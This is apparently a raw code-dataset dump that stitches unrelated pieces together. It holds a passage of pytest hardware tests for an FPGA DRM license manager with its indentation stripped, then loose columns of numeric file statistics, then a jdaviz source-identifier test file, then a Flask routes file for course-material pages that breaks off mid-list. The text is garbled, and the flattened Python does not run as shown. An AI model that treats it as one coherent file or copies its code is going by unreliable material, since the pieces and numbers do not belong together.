start += timedelta(seconds=license_duration)
assert drm_manager.get('license_status')
activators.autotest(is_activated=True)
activators.generate_coin()
activators.check_coin(drm_manager.get('metered_data'))
drm_manager.deactivate()
assert not drm_manager.get('license_status')
activators.autotest(is_activated=False)
async_cb.assert_NoError()
drm_manager.deactivate()
logfile.remove()
@pytest.mark.skip(reason='Nearly as long as test_metered_pause_resume_long_time')
@pytest.mark.hwtst
def test_metered_pause_resume_short_time(accelize_drm, conf_json, cred_json, async_handler, log_file_factory):
"""
Test no error occurs in normal pause/resume metering mode during a short period of time
"""
driver = accelize_drm.pytest_fpga_driver[0]
async_cb = async_handler.create()
activators = accelize_drm.pytest_fpga_activators[0]
activators.reset_coin()
activators.autotest()
cred_json.set_user('accelize_accelerator_test_02')
async_cb.reset()
conf_json.reset()
logfile = log_file_factory.create(2)
conf_json['settings'].update(logfile.json)
conf_json.save()
with accelize_drm.DrmManager(
conf_json.path,
cred_json.path,
driver.read_register_callback,
driver.write_register_callback,
async_cb.callback
) as drm_manager:
assert not drm_manager.get('session_status')
assert not drm_manager.get('license_status')
activators.autotest(is_activated=False)
drm_manager.activate()
start = datetime.now()
assert sum(drm_manager.get('metered_data')) == 0
assert drm_manager.get('session_status')
assert drm_manager.get('license_status')
session_id = drm_manager.get('session_id')
assert len(session_id) > 0
activators.autotest(is_activated=True)
lic_duration = drm_manager.get('license_duration')
assert sum(drm_manager.get('metered_data')) == 0
activators.generate_coin()
activators.check_coin(drm_manager.get('metered_data'))
# Wait until 2 licenses are provisioned
wait_func_true(lambda: drm_manager.get('num_license_loaded') == 2, lic_duration)
drm_manager.deactivate(True)
assert drm_manager.get('session_status')
assert drm_manager.get('license_status')
assert drm_manager.get('session_id') == session_id
activators.autotest(is_activated=True)
# Wait right before license expiration
wait_deadline(start, 2*lic_duration-2)
assert drm_manager.get('session_status')
assert drm_manager.get('license_status')
assert drm_manager.get('session_id') == session_id
activators.autotest(is_activated=True)
# Wait expiration
wait_deadline(start, 2*lic_duration+2)
assert drm_manager.get('session_status')
assert drm_manager.get('session_id') == session_id
assert not drm_manager.get('license_status')
activators.autotest(is_activated=False)
drm_manager.activate(True)
assert drm_manager.get('session_status')
assert drm_manager.get('session_id') != session_id
assert drm_manager.get('license_status')
activators.autotest(is_activated=True)
drm_manager.deactivate()
assert not drm_manager.get('session_status')
assert not drm_manager.get('license_status')
activators.autotest(is_activated=False)
assert drm_manager.get('session_id') == ''
async_cb.assert_NoError()
drm_manager.deactivate()
logfile.remove()
@pytest.mark.minimum
@pytest.mark.hwtst
def test_metered_pause_resume_long_time(accelize_drm, conf_json, cred_json, async_handler, log_file_factory):
"""
Test no error occurs in normal start/stop metering mode during a long period of time
"""
driver = accelize_drm.pytest_fpga_driver[0]
async_cb = async_handler.create()
async_cb.reset()
activators = accelize_drm.pytest_fpga_activators[0]
activators.reset_coin()
activators.autotest()
cred_json.set_user('accelize_accelerator_test_02')
logfile = log_file_factory.create(2)
conf_json['settings'].update(logfile.json)
conf_json.save()
with accelize_drm.DrmManager(
conf_json.path,
cred_json.path,
driver.read_register_callback,
driver.write_register_callback,
async_cb.callback
) as drm_manager:
nb_pause_resume = 2
assert not drm_manager.get('session_status')
assert not drm_manager.get('license_status')
activators.autotest(is_activated=False)
async_cb.assert_NoError()
drm_manager.activate()
start = datetime.now()
assert sum(drm_manager.get('metered_data')) == 0
assert drm_manager.get('session_status')
assert drm_manager.get('license_status')
session_id = drm_manager.get('session_id')
assert len(session_id) > 0
lic_duration = drm_manager.get('license_duration')
wait_numbers = [lic_duration*2-2,lic_duration*2+2]
activators.autotest(is_activated=True)
for i in range(nb_pause_resume):
activators.generate_coin()
activators.check_coin(drm_manager.get('metered_data'))
wait_func_true(lambda: drm_manager.get('num_license_loaded') == 2, 10)
drm_manager.deactivate(True)
async_cb.assert_NoError()
assert drm_manager.get('session_status')
assert drm_manager.get('license_status')
assert drm_manager.get('session_id') == session_id
# Wait randomly at the limit of the expiration
random_wait = choice(wait_numbers)
wait_deadline(start, random_wait)
drm_manager.activate(True)
if random_wait > lic_duration*2:
start = datetime.now()
assert drm_manager.get('session_id') != session_id
activators.reset_coin()
session_id = drm_manager.get('session_id')
else:
start += timedelta(seconds=lic_duration)
assert drm_manager.get('session_id') == session_id, 'after loop #%d' % i
assert drm_manager.get('session_status')
assert drm_manager.get('session_id') == session_id
assert drm_manager.get('license_status')
activators.autotest(is_activated=True)
drm_manager.deactivate()
assert not drm_manager.get('session_status')
assert not drm_manager.get('license_status')
activators.autotest(is_activated=False)
assert drm_manager.get('session_id') != session_id
async_cb.assert_NoError()
drm_manager.deactivate()
logfile.remove()
@pytest.mark.hwtst
def test_metered_pause_resume_from_new_object(accelize_drm, conf_json, cred_json, async_handler, log_file_factory):
"""
Test no error occurs in normal pause/resume metering mode when the resume is executed from a new object and before the license expires
"""
driver = accelize_drm.pytest_fpga_driver[0]
async_cb = async_handler.create()
async_cb.reset()
activators = accelize_drm.pytest_fpga_activators[0]
activators.reset_coin()
activators.autotest()
cred_json.set_user('accelize_accelerator_test_02')
logfile = log_file_factory.create(2)
conf_json['settings'].update(logfile.json)
conf_json.save()
drm_manager1 = accelize_drm.DrmManager(
conf_json.path,
cred_json.path,
driver.read_register_callback,
driver.write_register_callback,
async_cb.callback
)
assert not drm_manager1.get('session_status')
assert not drm_manager1.get('license_status')
activators.autotest(is_activated=False)
drm_manager1.activate()
start = datetime.now()
assert sum(drm_manager1.get('metered_data')) == 0
assert drm_manager1.get('session_status')
assert drm_manager1.get('license_status')
session_id = drm_manager1.get('session_id')
assert len(session_id) > 0
activators.autotest(is_activated=True)
lic_duration = drm_manager1.get('license_duration')
assert sum(drm_manager1.get('metered_data')) == 0
activators.generate_coin()
activators.check_coin(drm_manager1.get('metered_data'))
assert sum(drm_manager1.get('metered_data')) != 0
# Wait enough time to be sure the 2nd license has been provisioned
wait_deadline(start, lic_duration/2)
drm_manager1.deactivate(True)
assert drm_manager1.get('session_status')
assert drm_manager1.get('license_status')
assert drm_manager1.get('session_id') == session_id
activators.autotest(is_activated=True)
async_cb.assert_NoError()
sleep(1)
# Create new object
drm_manager2 = accelize_drm.DrmManager(
conf_json.path,
cred_json.path,
driver.read_register_callback,
driver.write_register_callback,
async_cb.callback
)
assert drm_manager1 != drm_manager2
assert drm_manager2.get('session_status')
assert drm_manager2.get('license_status')
activators.autotest(is_activated=True)
assert drm_manager2.get('session_id') == ''
# Resume session
drm_manager2.activate(True)
assert drm_manager2.get('session_status')
assert drm_manager2.get('license_status')
activators.autotest(is_activated=True)
activators.check_coin(drm_manager2.get('metered_data'))
# Wait for license renewal
sleep(lic_duration+2)
assert drm_manager2.get('session_id') == session_id
assert drm_manager2.get('license_duration') == lic_duration
activators.generate_coin()
activators.check_coin(drm_manager2.get('metered_data'))
drm_manager2.deactivate()
assert not drm_manager2.get('session_status')
assert not drm_manager2.get('license_status')
assert drm_manager2.get('session_id') == ''
activators.autotest(is_activated=False)
async_cb.assert_NoError()
logfile.remove()
@pytest.mark.minimum
@pytest.mark.hwtst
def test_async_on_pause(accelize_drm, conf_json, cred_json, async_handler, log_file_factory, request):
"""
Test an async health commande is executed on pause.
"""
driver = accelize_drm.pytest_fpga_driver[0]
async_cb = async_handler.create()
async_cb.reset()
activators = accelize_drm.pytest_fpga_activators[0]
cred_json.set_user('accelize_accelerator_test_02')
conf_json.reset()
logfile = log_file_factory.create(0)
conf_json['settings'].update(logfile.json)
conf_json.save()
with accelize_drm.DrmManager(
conf_json.path,
cred_json.path,
driver.read_register_callback,
driver.write_register_callback,
async_cb.callback
) as drm_manager:
assert not drm_manager.get('session_status')
assert not drm_manager.get('license_status')
activators.autotest(is_activated=False)
drm_manager.activate()
start = datetime.now()
if drm_manager.get('health_period') == 0:
logfile.remove()
pytest.skip('Health is not active: skip async test')
lic_duration = drm_manager.get('license_duration')
assert drm_manager.get('session_status')
assert drm_manager.get('license_status')
session_id = drm_manager.get('session_id')
assert len(session_id) > 0
activators.autotest(is_activated=True)
drm_manager.deactivate(True) # Pause session
assert drm_manager.get('session_status')
assert drm_manager.get('license_status')
assert drm_manager.get('session_id') == session_id
activators.autotest(is_activated=True)
drm_manager.deactivate()
log_content = logfile.read()
assert len(list(findall(r'"request"\s*:\s*"health"', log_content))) == 1
async_cb.assert_NoError()
logfile.remove()
@pytest.mark.minimum
@pytest.mark.hwtst
def test_stop_after_pause(accelize_drm, conf_json, cred_json, async_handler, log_file_factory):
"""
Test an async health commande is executed on pause.
"""
driver = accelize_drm.pytest_fpga_driver[0]
async_cb = async_handler.create()
async_cb.reset()
activators = accelize_drm.pytest_fpga_activators[0]
cred_json.set_user('accelize_accelerator_test_02')
conf_json.reset()
logfile = log_file_factory.create(2)
conf_json['settings'].update(logfile.json)
conf_json.save()
with accelize_drm.DrmManager(
conf_json.path,
cred_json.path,
driver.read_register_callback,
driver.write_register_callback,
async_cb.callback
) as drm_manager:
assert not drm_manager.get('session_status')
assert not drm_manager.get('license_status')
activators.autotest(is_activated=False)
drm_manager.activate()
start = datetime.now()
lic_duration = drm_manager.get('license_duration')
assert drm_manager.get('session_status')
assert drm_manager.get('license_status')
session_id = drm_manager.get('session_id')
assert len(session_id) > 0
activators.autotest(is_activated=True)
drm_manager.deactivate(True) # Pause session
assert drm_manager.get('session_status')
assert drm_manager.get('license_status')
assert drm_manager.get('session_id') == session_id
activators.autotest(is_activated=True)
drm_manager.deactivate()
assert not drm_manager.get('session_status')
assert not drm_manager.get('license_status')
assert drm_manager.get('session_id') != session_id
assert drm_manager.get('session_id') == ''
activators.autotest(is_activated=False)
logfile.remove()
@pytest.mark.minimum
@pytest.mark.no_parallel
@pytest.mark.hwtst
def test_metering_limits_on_activate(accelize_drm, conf_json, cred_json, async_handler, log_file_factory, ws_admin):
"""
Test an error is returned by the activate function and the design is locked when the limit is reached.
"""
driver = accelize_drm.pytest_fpga_driver[0]
async_cb = async_handler.create()
activators = accelize_drm.pytest_fpga_activators[0]
activators.reset_coin()
activators.autotest()
# Test activate function call fails when limit is reached
async_cb.reset()
conf_json.reset()
logfile = log_file_factory.create(2)
conf_json['settings'].update(logfile.json)
conf_json.save()
cred_json.set_user('accelize_accelerator_test_03')
accelize_drm.clean_metering_env(cred_json, ws_admin)
with accelize_drm.DrmManager(
conf_json.path,
cred_json.path,
driver.read_register_callback,
driver.write_register_callback,
async_cb.callback
) as drm_manager:
assert drm_manager.get('license_type') == 'Floating/Metering'
assert not drm_manager.get('license_status')
drm_manager.activate()
assert drm_manager.get('drm_license_type') == 'Floating/Metering'
assert drm_manager.get('license_status')
assert sum(drm_manager.get('metered_data')) == 0
activators[0].generate_coin(999)
activators.check_coin(drm_manager.get('metered_data'))
drm_manager.deactivate()
activators.reset_coin()
assert not drm_manager.get('license_status')
drm_manager.activate()
assert drm_manager.get('license_status')
activators.check_coin(drm_manager.get('metered_data'))
activators[0].generate_coin(1)
activators.check_coin(drm_manager.get('metered_data'))
drm_manager.deactivate()
assert not drm_manager.get('license_status')
with pytest.raises(accelize_drm.exceptions.DRMWSReqError) as excinfo:
drm_manager.activate()
assert 'Metering Web Service error 400' in str(excinfo.value)
assert 'DRM WS request failed' in str(excinfo.value)
assert search(r'\\"Entitlement Limit Reached\\" with .+ for \S+_test_03@accelize.com', str(excinfo.value))
assert 'You have reached the maximum quantity of 1000. usage_unit for metered entitlement (licensed)' in str(excinfo.value)
assert async_handler.get_error_code(str(excinfo.value)) == accelize_drm.exceptions.DRMWSReqError.error_code
async_cb.assert_Error(accelize_drm.exceptions.DRMWSReqError.error_code, 'You have reached the maximum quantity of 1000. usage_unit for metered entitlement')
async_cb.reset()
drm_manager.deactivate()
logfile.remove()
@pytest.mark.minimum
@pytest.mark.no_parallel
@pytest.mark.hwtst
def test_metering_limits_on_licensing_thread(accelize_drm, conf_json, cred_json, async_handler, log_file_factory, ws_admin):
"""
Test an error is returned by the async error function and the design is locked when the limit is reached.
"""
driver = accelize_drm.pytest_fpga_driver[0]
async_cb = async_handler.create()
activators = accelize_drm.pytest_fpga_activators[0]
activators.reset_coin()
activators.autotest()
async_cb.reset()
conf_json.reset()
logfile = log_file_factory.create(2)
conf_json['settings'].update(logfile.json)
conf_json.save()
cred_json.set_user('accelize_accelerator_test_03')
accelize_drm.clean_metering_env(cred_json, ws_admin)
with accelize_drm.DrmManager(
conf_json.path,
cred_json.path,
driver.read_register_callback,
driver.write_register_callback,
async_cb.callback
) as drm_manager:
assert drm_manager.get('license_type') == 'Floating/Metering'
assert not drm_manager.get('license_status')
drm_manager.activate()
start = datetime.now()
assert drm_manager.get('drm_license_type') == 'Floating/Metering'
assert drm_manager.get('license_status')
assert sum(drm_manager.get('metered_data')) == 0
lic_duration = drm_manager.get('license_duration')
sleep(int(lic_duration/2) + 1)
activators[0].generate_coin(1000)
activators.check_coin(drm_manager.get('metered_data'))
# Wait right before lock
wait_deadline(start, 3*lic_duration-3)
assert drm_manager.get('license_status')
activators.autotest(is_activated=True)
wait_deadline(start, 3*lic_duration+3)
assert not drm_manager.get('license_status')
activators.autotest(is_activated=False)
# Verify asynchronous callback has been called
assert async_cb.was_called
assert 'Metering Web Service error 400' in async_cb.message
assert 'DRM WS request failed' in async_cb.message
assert search(r'\\"Entitlement Limit Reached\\" with .+ for \S+_test_03@accelize.com', async_cb.message)
assert 'You have reached the maximum quantity of 1000. usage_unit for metered entitlement (licensed)' in async_cb.message
assert async_cb.errcode == accelize_drm.exceptions.DRMWSReqError.error_code
drm_manager.deactivate()
assert not drm_manager.get('license_status')
activators.autotest(is_activated=False)
logfile.remove()
@pytest.mark.on_2_fpga
@pytest.mark.minimum
@pytest.mark.hwtst
def test_floating_limits(accelize_drm, conf_json, conf_json_second, cred_json, async_handler, log_file_factory):
"""
Test an error is returned when the floating limit is reached
"""
driver0 = accelize_drm.pytest_fpga_driver[0]
driver1 = accelize_drm.pytest_fpga_driver[1]
async_cb0 = async_handler.create()
async_cb0.reset()
async_cb1 = async_handler.create()
async_cb1.reset()
cred_json.set_user('accelize_accelerator_test_04')
# Get floating license for drm_manager0 and check drm_manager1 fails
conf_json.reset()
with accelize_drm.DrmManager(
conf_json.path,
cred_json.path,
driver0.read_register_callback,
driver0.write_register_callback,
async_cb0.callback
) as drm_manager0:
conf_json_second['settings']['ws_api_retry_duration'] = 4
conf_json_second.save()
drm_manager1 = accelize_drm.DrmManager(
conf_json_second.path,
cred_json.path,
driver1.read_register_callback,
driver1.write_register_callback,
async_cb1.callback
)
assert not drm_manager0.get('license_status')
assert not drm_manager1.get('license_status')
drm_manager0.activate()
assert drm_manager0.get('license_status')
with pytest.raises(accelize_drm.exceptions.DRMWSTimedOut) as excinfo:
drm_manager1.activate()
assert search(r'Timeout on License request after .+ attempts', str(excinfo.value))
assert async_handler.get_error_code(str(excinfo.value)) == accelize_drm.exceptions.DRMWSTimedOut.error_code
async_cb1.assert_Error(accelize_drm.exceptions.DRMWSTimedOut.error_code, 'Timeout on License request after')
async_cb1.reset()
async_cb0.assert_NoError()
# Get floating license for drm_manager1 and check drm_manager0 fails
conf_json_second.reset()
with accelize_drm.DrmManager(
conf_json_second.path,
cred_json.path,
driver1.read_register_callback,
driver1.write_register_callback,
async_cb1.callback
) as drm_manager1:
conf_json['settings']['ws_api_retry_duration'] = 4
conf_json.save()
drm_manager0 = accelize_drm.DrmManager(
conf_json.path,
cred_json.path,
driver0.read_register_callback,
driver0.write_register_callback,
async_cb0.callback
)
drm_manager1.activate()
assert drm_manager1.get('license_status')
with pytest.raises(accelize_drm.exceptions.DRMWSTimedOut) as excinfo:
drm_manager0.activate()
assert search(r'Timeout on License request after .+ attempts', str(excinfo.value)) is not None
assert async_handler.get_error_code(str(excinfo.value)) == accelize_drm.exceptions.DRMWSTimedOut.error_code
async_cb0.assert_Error(accelize_drm.exceptions.DRMWSTimedOut.error_code, 'Timeout on License request after')
async_cb0.reset()
async_cb1.assert_NoError()
def test_async_call_during_pause(accelize_drm, conf_json, cred_json, async_handler, log_file_factory, request):
driver = accelize_drm.pytest_fpga_driver[0]
async_cb = async_handler.create()
async_cb.reset()
activators = accelize_drm.pytest_fpga_activators[0]
activators.reset_coin()
activators.autotest()
cred_json.set_user('accelize_accelerator_test_02')
conf_json.reset()
logfile = log_file_factory.create(2)
conf_json['settings'].update(logfile.json)
conf_json.save()
with accelize_drm.DrmManager(
conf_json.path,
cred_json.path,
driver.read_register_callback,
driver.write_register_callback,
async_cb.callback
) as drm_manager:
activators.reset_coin()
assert not drm_manager.get('session_status')
assert not drm_manager.get('license_status')
activators.autotest(is_activated=False)
activators.generate_coin()
assert sum(drm_manager.get('metered_data')) == 0
drm_manager.activate()
assert sum(drm_manager.get('metered_data')) == 0
activators.generate_coin()
activators.check_coin(drm_manager.get('metered_data'))
drm_manager.deactivate(True)
sleep(1)
activators.check_coin(drm_manager.get('metered_data'))
assert drm_manager.get('session_status')
assert drm_manager.get('license_status')
session_id = drm_manager.get('session_id')
assert len(session_id) > 0
lic_duration = drm_manager.get('license_duration')
activators.autotest(is_activated=True)
sleep(lic_duration * 2 + 1)
activators.autotest(is_activated=False)
assert not drm_manager.get('license_status')
assert drm_manager.get('session_status')
assert session_id == drm_manager.get('session_id')
activators.check_coin(drm_manager.get('metered_data'))
activators.generate_coin()
activators.check_coin(drm_manager.get('metered_data'))
drm_manager.deactivate()
assert sum(drm_manager.get('metered_data')) == 0
log_content = logfile.read()
assert len(list(findall(r'warning\b.*\bCannot access metering data when no session is running', log_content))) == 2
async_cb.assert_NoError()
logfile.remove()
| 41.03836
| 164
| 0.689057
| 3,866
| 31,025
| 5.222969
| 0.061821
| 0.087163
| 0.081121
| 0.051506
| 0.895206
| 0.870097
| 0.846969
| 0.829784
| 0.785806
| 0.755992
| 0
| 0.009639
| 0.217534
| 31,025
| 755
| 165
| 41.092715
| 0.822129
| 0.051668
| 0
| 0.831563
| 0
| 0
| 0.118523
| 0.017558
| 0
| 0
| 0
| 0
| 0.24431
| 1
| 0.019727
| false
| 0
| 0.010622
| 0
| 0.030349
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
6a13bd981c33c753e693ff8cd48a9df0c11f51b6
| 3,367
|
py
|
Python
|
jdaviz/configs/mosviz/tests/test_source_identifier_extract.py
|
check-spelling/jdaviz
|
bfd0514d13bdc6fa0b8c8536a603293409270337
|
[
"MIT",
"BSD-3-Clause"
] | null | null | null |
jdaviz/configs/mosviz/tests/test_source_identifier_extract.py
|
check-spelling/jdaviz
|
bfd0514d13bdc6fa0b8c8536a603293409270337
|
[
"MIT",
"BSD-3-Clause"
] | 3
|
2021-05-06T13:03:37.000Z
|
2021-12-02T14:51:48.000Z
|
jdaviz/configs/mosviz/tests/test_source_identifier_extract.py
|
rosteen/jdaviz
|
e02c08d68ef71c5e40600785f46e65e5ae95e236
|
[
"MIT",
"BSD-3-Clause"
] | 1
|
2021-12-27T04:24:34.000Z
|
2021-12-27T04:24:34.000Z
|
from astropy.io.fits import PrimaryHDU
from ..plugins.parsers import _get_source_identifiers_by_hdu, FALLBACK_NAME
def test_SOURCEID():
hdu = PrimaryHDU()
hdu.header['SOURCEID'] = 'Target 1 SOURCEID'
assert _get_source_identifiers_by_hdu([hdu]) == ['Target 1 SOURCEID']
hdu2 = PrimaryHDU()
hdu2.header['SOURCEID'] = 'Target 2 SOURCEID'
assert _get_source_identifiers_by_hdu([hdu, hdu2]) == ['Target 1 SOURCEID', 'Target 2 SOURCEID']
def test_OBJECT():
hdu = PrimaryHDU()
hdu.header['OBJECT'] = 'Target 1 OBJECT'
assert _get_source_identifiers_by_hdu([hdu]) == ['Target 1 OBJECT']
hdu2 = PrimaryHDU()
hdu2.header['OBJECT'] = 'Target 2 OBJECT'
assert _get_source_identifiers_by_hdu([hdu, hdu2]) == ['Target 1 OBJECT', 'Target 2 OBJECT']
def test_priority():
hdu = PrimaryHDU()
hdu.header['SOURCEID'] = 'Target 1 SOURCEID'
hdu.header['OBJECT'] = 'Target 1 OBJECT'
assert _get_source_identifiers_by_hdu([hdu]) == ['Target 1 SOURCEID']
hdu2 = PrimaryHDU()
hdu2.header['SOURCEID'] = 'Target 2 SOURCEID'
hdu2.header['OBJECT'] = 'Target 2 OBJECT'
assert _get_source_identifiers_by_hdu([hdu, hdu2]) == ['Target 1 SOURCEID', 'Target 2 SOURCEID']
def test_priority_mixed():
hdu = PrimaryHDU()
hdu.header['SOURCEID'] = 'Target 1 SOURCEID'
hdu.header['OBJECT'] = 'Target 1 OBJECT'
assert _get_source_identifiers_by_hdu([hdu]) == ['Target 1 SOURCEID']
hdu2 = PrimaryHDU()
hdu2.header['OBJECT'] = 'Target 2 OBJECT'
assert _get_source_identifiers_by_hdu([hdu, hdu2]) == ['Target 1 SOURCEID', 'Target 2 OBJECT']
def test_empty_fallback():
hdu = PrimaryHDU()
assert _get_source_identifiers_by_hdu([hdu]) == [FALLBACK_NAME]
assert _get_source_identifiers_by_hdu([hdu, hdu]) == [FALLBACK_NAME, FALLBACK_NAME]
def test_single_filename_fallback():
hdu = PrimaryHDU()
assert _get_source_identifiers_by_hdu([hdu], "/path/to/test_file.fits") == ['test_file.fits']
assert _get_source_identifiers_by_hdu([hdu, hdu],
"/path/to/test_file.fits"
) == ['test_file.fits', 'test_file.fits']
def test_filename_fallback():
hdu = PrimaryHDU()
assert _get_source_identifiers_by_hdu([hdu], ["/path/to/test_file.fits"]) == ['test_file.fits']
assert _get_source_identifiers_by_hdu([hdu, hdu],
["/path/to/test_file1.fits", "/path/to/test_file2.fits"]
) == ['test_file1.fits', 'test_file2.fits']
def test_custom_header():
hdu = PrimaryHDU()
hdu.header['CUSTOM'] = "Target 1 Custom"
assert _get_source_identifiers_by_hdu([hdu], header_keys='CUSTOM') == ["Target 1 Custom"]
def test_custom_header_priority_mixed():
hdu = PrimaryHDU()
hdu.header['CUSTOM'] = "Target 1 CUSTOM"
assert _get_source_identifiers_by_hdu([hdu],
header_keys=['CUSTOM', 'CUSTOM2']
) == ["Target 1 CUSTOM"]
hdu2 = PrimaryHDU()
hdu2.header['CUSTOM2'] = "Target 2 CUSTOM2"
assert _get_source_identifiers_by_hdu([hdu, hdu2],
header_keys=['CUSTOM', 'CUSTOM2']
) == ["Target 1 CUSTOM", "Target 2 CUSTOM2"]
| 38.261364
| 100
| 0.626374
| 400
| 3,367
| 4.9575
| 0.095
| 0.060514
| 0.181543
| 0.199697
| 0.824508
| 0.79526
| 0.776097
| 0.747857
| 0.687342
| 0.687342
| 0
| 0.021493
| 0.239976
| 3,367
| 87
| 101
| 38.701149
| 0.753419
| 0
| 0
| 0.53125
| 0
| 0
| 0.239976
| 0.034749
| 0
| 0
| 0
| 0
| 0.265625
| 1
| 0.140625
| false
| 0
| 0.03125
| 0
| 0.171875
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
6a2a02823e2b5c1ef028ec0b45ab94a84021f610
| 8,208
|
py
|
Python
|
blog_pro/wp-content/themes/ngi/iearn_tech_new-prod/iearn_tech_new/materials.py
|
TheSilentNoise/NexGenSetup
|
972a29dc7dfb54d59a1d458387c6804b27435097
|
[
"Apache-2.0"
] | null | null | null |
blog_pro/wp-content/themes/ngi/iearn_tech_new-prod/iearn_tech_new/materials.py
|
TheSilentNoise/NexGenSetup
|
972a29dc7dfb54d59a1d458387c6804b27435097
|
[
"Apache-2.0"
] | null | null | null |
blog_pro/wp-content/themes/ngi/iearn_tech_new-prod/iearn_tech_new/materials.py
|
TheSilentNoise/NexGenSetup
|
972a29dc7dfb54d59a1d458387c6804b27435097
|
[
"Apache-2.0"
] | null | null | null |
from flask import render_template,redirect,url_for,abort
from app import app
from models import *
from sqlalchemy import desc
from flask_login import login_required,current_user
####################################### course materials #######################################
############ python basics
@login_required
@app.route('/python-environment-setup')
def python_env_setup():
if current_user.is_authenticated:
return render_template('materials/python-env-setup.html')
return redirect(url_for('login'))
@login_required
@app.route('/python-basics-material')
def python_basics():
if current_user.is_authenticated:
return render_template('materials/python-basics.html')
return redirect(url_for('login'))
@login_required
@app.route('/python-algorithm-material')
def python_algorithm():
if current_user.is_authenticated:
return render_template('materials/python-algorithms.html')
return redirect(url_for('login'))
@login_required
@app.route('/python-data-structure-algorithm-material')
def python_datastructure_algorithm_material():
if current_user.is_authenticated:
return render_template('materials/python-data-structure.html')
return redirect(url_for('login'))
########## data analysis
@login_required
@app.route('/data-analysis-using-pandas-material')
def data_analysis_using_pandas_material():
if current_user.is_authenticated:
return render_template('materials/pandas.html')
return redirect(url_for('login'))
@login_required
@app.route('/data-analysis-using-numpy-material')
def data_analysis_using_numpy_material():
if current_user.is_authenticated:
return render_template('materials/numpy.html')
return redirect(url_for('login'))
@login_required
@app.route('/data-analysis-using-scipy-material')
def data_analysis_using_scipy_material():
if current_user.is_authenticated:
return render_template('materials/scipy.html')
return redirect(url_for('login'))
@login_required
@app.route('/exploratory-data-analysis')
def exploratory_data_analysis():
if current_user.is_authenticated:
return render_template('materials/exploratory-data-analysis.html')
return redirect(url_for('login'))
@login_required
@app.route('/exploratory-data-analysis-2')
def exploratory_data_analysis_2():
if current_user.is_authenticated:
return render_template('materials/exploratory-data-analysis-2.html')
return redirect(url_for('login'))
@login_required
@app.route('/data-wrangling')
def data_wrangling():
if current_user.is_authenticated:
return render_template('materials/data-wrangling.html')
return redirect(url_for('login'))
########### visualization ####
@login_required
@app.route('/data-visualization-using-seaborn-material')
def data_visualization_using_seaborn_material():
if current_user.is_authenticated:
return render_template('materials/seaborn.html')
return redirect(url_for('login'))
@login_required
@app.route('/data-visualization-using-matplotlib-material')
def data_visualization_using_matplotlib_material():
if current_user.is_authenticated:
return render_template('materials/matplotlib.html')
return redirect(url_for('login'))
@login_required
@app.route('/data-visualization-using-plotly-material')
def data_visualization_using_plotly_material():
if current_user.is_authenticated:
return render_template('materials/plotly.html')
return redirect(url_for('login'))
@login_required
@app.route('/different-types-data-visualization')
def different_types_data_visualization():
if current_user.is_authenticated:
return render_template('materials/different-visualization.html')
return redirect(url_for('login'))
######### flask
@login_required
@app.route('/flask-for-beginners-material')
def flask_for_beginners_material():
if current_user.is_authenticated:
return render_template('materials/flask-for-beginners.html')
return redirect(url_for('login'))
@login_required
@app.route('/flask-templates-material')
def flask_templates():
if current_user.is_authenticated:
return render_template('materials/flask-templates.html')
return redirect(url_for('login'))
## statistics
@login_required
@app.route('/probability-material')
def probability_material():
if current_user.is_authenticated:
return render_template('materials/probability.html')
return redirect(url_for('login'))
@login_required
@app.route('/basic-statistics-material')
def basic_statistics_material():
if current_user.is_authenticated:
return render_template('materials/basic-statistics.html')
return redirect(url_for('login'))
###################################### exercise & solution #####################################
@login_required
@app.route('/pandas-excercise-solutions')
def pandas_excercise_solutions():
if current_user.is_authenticated:
return render_template('exercise_solutions/exercise-solution-pandas.html')
return redirect(url_for('login'))
@login_required
@app.route('/pandas-excercise')
def pandas_excercise():
if current_user.is_authenticated:
return render_template('exercise_solutions/exercise-pandas.html')
return redirect(url_for('login'))
@login_required
@app.route('/numpy-excercise')
def numpy_excercise():
if current_user.is_authenticated:
return render_template('exercise_solutions/exercise-numpy.html')
return redirect(url_for('login'))
@login_required
@app.route('/numpy-excercise-solutions')
def numpy_excercise_solutions():
if current_user.is_authenticated:
return render_template('exercise_solutions/exercise-solution-numpy.html')
return redirect(url_for('login'))
@login_required
@app.route('/exercise-matplotlib')
def exercise_matplotlib():
if current_user.is_authenticated:
return render_template('exercise_solutions/exercise-matplotlib.html')
return redirect(url_for('login'))
@login_required
@app.route('/exercise-seaborn')
def exercise_seaborn():
if current_user.is_authenticated:
return render_template('exercise_solutions/exercise-seaborn.html')
return redirect(url_for('login'))
@login_required
@app.route('/exercise-solution-matplotlib')
def exercise_solution_matplotlib():
if current_user.is_authenticated:
return render_template('exercise_solutions/exercise-solution-matplotlib.html')
return redirect(url_for('login'))
@login_required
@app.route('/exercise-solution-seaborn')
def exercise_solution_seaborn():
if current_user.is_authenticated:
return render_template('exercise_solutions/exercise-solution-seaborn.html')
return redirect(url_for('login'))
@login_required
@app.route('/exercise-solution-python-1')
def exercise_solution_python():
if current_user.is_authenticated:
return render_template('exercise_solutions/exercise-solution-python-1.html')
return redirect(url_for('login'))
@login_required
@app.route('/exercise-python-1')
def exercise_python():
if current_user.is_authenticated:
return render_template('exercise_solutions/exercise-python-1.html')
return redirect(url_for('login'))
@login_required
@app.route('/exercise-basic-stats')
def exercise_basic_stats():
if current_user.is_authenticated:
return render_template('exercise_solutions/exercise-basic-stats.html')
return redirect(url_for('login'))
@login_required
@app.route('/exercise-solution-basic-stats')
def exercise_solution_basic_stats():
if current_user.is_authenticated:
return render_template('exercise_solutions/exercise-solution-basic-stats.html')
return redirect(url_for('login'))
@login_required
@app.route('/data-structure-exercise')
def data_structure_excercise():
if current_user.is_authenticated:
return render_template('exercise_solutions/exercise-data-structure.html')
return redirect(url_for('login'))
@login_required
@app.route('/data-structure-exercise-solution')
def data_structure_excercise_solutions():
if current_user.is_authenticated:
return render_template('exercise_solutions/exercise-solution-data-structure.html')
return redirect(url_for('login'))
| 28.8
| 97
| 0.75
| 983
| 8,208
| 6.007121
| 0.063072
| 0.078239
| 0.078239
